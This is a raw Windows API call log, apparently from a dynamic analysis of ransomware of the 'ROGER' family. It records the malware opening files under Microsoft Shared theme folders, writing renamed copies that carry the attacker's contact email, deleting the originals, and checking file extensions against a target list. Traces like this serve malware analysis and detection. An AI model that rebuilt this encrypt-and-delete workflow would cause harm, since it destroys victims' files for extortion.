SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0047.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0047.828] GetLastError () returned 0x0 [0047.828] ReadFile (in: hFile=0x390, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x618, lpOverlapped=0x0) returned 1 [0047.829] WriteFile (in: hFile=0x3a0, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x620, lpOverlapped=0x0) returned 1 [0047.830] ReadFile (in: hFile=0x390, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0047.830] WriteFile (in: hFile=0x3a0, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.830] SetEndOfFile (hFile=0x3a0) returned 1 [0047.831] CloseHandle (hObject=0x3a0) returned 1 [0047.831] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0047.831] SetEndOfFile (hFile=0x390) returned 1 [0047.832] CloseHandle (hObject=0x390) returned 1 [0047.832] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0047.832] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 1 [0047.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0047.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0047.832] lstrlenW (lpString=".doc") returned 4 [0047.832] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.832] lstrlenW (lpString=".docx") returned 5 [0047.832] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.832] lstrlenW (lpString=".pdf") returned 4 [0047.832] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.832] lstrlenW (lpString=".xls") returned 4 [0047.832] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.832] lstrlenW (lpString=".xlsx") returned 5 [0047.832] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.832] lstrlenW (lpString=".ppt") returned 4 [0047.832] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0047.832] lstrlenW (lpString=".zip") returned 4 [0047.833] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.833] lstrlenW (lpString=".rar") returned 4 [0047.833] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.833] lstrlenW (lpString=".bz2") returned 4 [0047.833] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.833] lstrlenW (lpString=".7z") returned 3 [0047.833] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0047.833] lstrlenW (lpString=".dbf") returned 4 [0047.833] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0047.833] lstrlenW (lpString=".1cd") returned 4 [0047.833] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0047.833] lstrlenW (lpString=".jpg") returned 4 [0047.833] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0047.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0047.833] lstrlenW (lpString=".doc") returned 4 [0047.833] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.833] lstrlenW (lpString=".docx") returned 5 [0047.833] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.833] lstrlenW (lpString=".pdf") returned 4 [0047.833] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.833] lstrlenW (lpString=".xls") returned 4 [0047.833] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.833] lstrlenW (lpString=".xlsx") returned 5 [0047.833] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.833] lstrlenW (lpString=".ppt") returned 4 [0047.833] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0047.847] lstrlenW (lpString=".zip") returned 4 [0047.847] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.847] lstrlenW (lpString=".rar") returned 4 [0047.847] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.847] lstrlenW (lpString=".bz2") returned 4 [0047.847] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.847] lstrlenW (lpString=".7z") returned 3 [0047.847] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0047.847] lstrlenW (lpString=".dbf") returned 4 [0047.847] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0047.847] lstrlenW (lpString=".1cd") returned 4 [0047.847] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0047.847] lstrlenW (lpString=".jpg") returned 4 [0047.847] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.848] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0047.848] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0047.848] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0048.006] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=29925) returned 1 [0048.006] CloseHandle (hObject=0x358) returned 1 [0048.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 0x20 [0048.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.006] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0048.006] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.006] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.006] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0048.161] GetLastError () returned 0x0 [0048.161] ReadFile (in: hFile=0x358, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x74e5, lpOverlapped=0x0) returned 1 [0048.163] WriteFile (in: hFile=0x3d8, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x74f0, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x74f0, lpOverlapped=0x0) returned 1 [0048.165] ReadFile (in: hFile=0x358, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.165] WriteFile (in: hFile=0x3d8, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.165] SetEndOfFile (hFile=0x3d8) returned 1 [0048.165] CloseHandle (hObject=0x3d8) returned 1 [0048.165] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.165] SetEndOfFile (hFile=0x358) returned 1 [0048.166] CloseHandle (hObject=0x358) returned 1 [0048.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.166] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 1 [0048.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0048.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0048.166] lstrlenW (lpString=".doc") returned 4 [0048.167] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.167] lstrlenW (lpString=".docx") returned 5 [0048.167] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.167] lstrlenW (lpString=".pdf") returned 4 [0048.167] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.167] lstrlenW (lpString=".xls") returned 4 [0048.167] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.167] lstrlenW (lpString=".xlsx") returned 5 [0048.167] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.167] lstrlenW (lpString=".ppt") returned 4 [0048.167] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0048.167] lstrlenW (lpString=".zip") returned 4 [0048.167] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.167] lstrlenW (lpString=".rar") returned 4 [0048.167] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.167] lstrlenW (lpString=".bz2") returned 4 [0048.167] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.167] lstrlenW (lpString=".7z") returned 3 [0048.167] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0048.167] lstrlenW (lpString=".dbf") returned 4 [0048.167] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0048.167] lstrlenW (lpString=".1cd") returned 4 [0048.167] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0048.167] lstrlenW (lpString=".jpg") returned 4 [0048.167] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0048.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0048.167] lstrlenW (lpString=".doc") returned 4 [0048.167] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.168] lstrlenW (lpString=".docx") returned 5 [0048.168] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.168] lstrlenW (lpString=".pdf") returned 4 [0048.168] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.168] lstrlenW (lpString=".xls") returned 4 [0048.168] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.168] lstrlenW (lpString=".xlsx") returned 5 [0048.168] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.168] lstrlenW (lpString=".ppt") returned 4 [0048.168] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0048.168] lstrlenW (lpString=".zip") returned 4 [0048.168] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.168] lstrlenW (lpString=".rar") returned 4 [0048.168] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.168] lstrlenW (lpString=".bz2") returned 4 [0048.168] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.168] lstrlenW (lpString=".7z") returned 3 [0048.168] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0048.168] lstrlenW (lpString=".dbf") returned 4 [0048.168] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0048.168] lstrlenW (lpString=".1cd") returned 4 [0048.168] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0048.168] lstrlenW (lpString=".jpg") returned 4 [0048.168] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.168] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0048.169] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.169] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0048.313] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=32403) returned 1 [0048.313] CloseHandle (hObject=0x358) returned 1 [0048.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 0x20 [0048.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.313] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0048.313] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.314] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.314] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0048.314] GetLastError () returned 0x0 [0048.314] ReadFile (in: hFile=0x358, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x7e93, lpOverlapped=0x0) returned 1 [0048.316] WriteFile (in: hFile=0x3a0, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x7ea0, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x7ea0, lpOverlapped=0x0) returned 1 [0048.317] ReadFile (in: hFile=0x358, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.317] WriteFile (in: hFile=0x3a0, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.317] SetEndOfFile (hFile=0x3a0) returned 1 [0048.317] CloseHandle (hObject=0x3a0) returned 1 [0048.317] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.317] SetEndOfFile (hFile=0x358) returned 1 [0048.318] CloseHandle (hObject=0x358) returned 1 [0048.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.318] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 1 [0048.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0048.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0048.319] lstrlenW (lpString=".doc") returned 4 [0048.319] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.319] lstrlenW (lpString=".docx") returned 5 [0048.319] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.319] lstrlenW (lpString=".pdf") returned 4 [0048.319] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.319] lstrlenW (lpString=".xls") returned 4 [0048.319] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.319] lstrlenW (lpString=".xlsx") returned 5 [0048.319] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.319] lstrlenW (lpString=".ppt") returned 4 [0048.319] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0048.319] lstrlenW (lpString=".zip") returned 4 [0048.319] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.319] lstrlenW (lpString=".rar") returned 4 [0048.319] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.319] lstrlenW (lpString=".bz2") returned 4 [0048.319] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.319] lstrlenW (lpString=".7z") returned 3 [0048.319] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0048.319] lstrlenW (lpString=".dbf") returned 4 [0048.319] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0048.320] lstrlenW (lpString=".1cd") returned 4 [0048.320] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0048.320] lstrlenW (lpString=".jpg") returned 4 [0048.320] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0048.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0048.320] lstrlenW (lpString=".doc") returned 4 [0048.320] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.320] lstrlenW (lpString=".docx") returned 5 [0048.320] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.320] lstrlenW (lpString=".pdf") returned 4 [0048.320] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.320] lstrlenW (lpString=".xls") returned 4 [0048.320] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.320] lstrlenW (lpString=".xlsx") returned 5 [0048.320] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.320] lstrlenW (lpString=".ppt") returned 4 [0048.320] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0048.320] lstrlenW (lpString=".zip") returned 4 [0048.320] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.320] lstrlenW (lpString=".rar") returned 4 [0048.320] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.320] lstrlenW (lpString=".bz2") returned 4 [0048.320] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.320] lstrlenW (lpString=".7z") returned 3 [0048.320] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0048.320] lstrlenW (lpString=".dbf") returned 4 [0048.320] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0048.321] lstrlenW (lpString=".1cd") returned 4 [0048.321] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0048.321] lstrlenW (lpString=".jpg") returned 4 [0048.321] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.321] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0048.321] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.321] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0048.321] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=5179) returned 1 [0048.321] CloseHandle (hObject=0x358) returned 1 [0048.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 0x20 [0048.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0048.322] 